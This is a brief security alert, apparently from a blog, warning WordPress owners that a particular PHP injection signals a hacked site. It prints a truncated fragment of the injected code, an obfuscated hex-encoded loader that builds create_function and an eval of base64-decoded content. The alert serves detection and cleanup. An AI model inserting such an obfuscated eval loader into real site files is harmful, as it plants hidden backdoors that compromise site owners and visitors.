If you see the following injection on your WordPress sites you are likely to have been hacked as this is not legitimate WordPress code:
<?php $zend_framework=”\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e”; @error_reporting(0); $zend_framework(“”, “\x7d\73\x40\145\x76\141\x6c\50\x40\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\…..
More info at www.placementedge.com/blog/june-2013-wordpress-exploit-fixalert-zend_framework/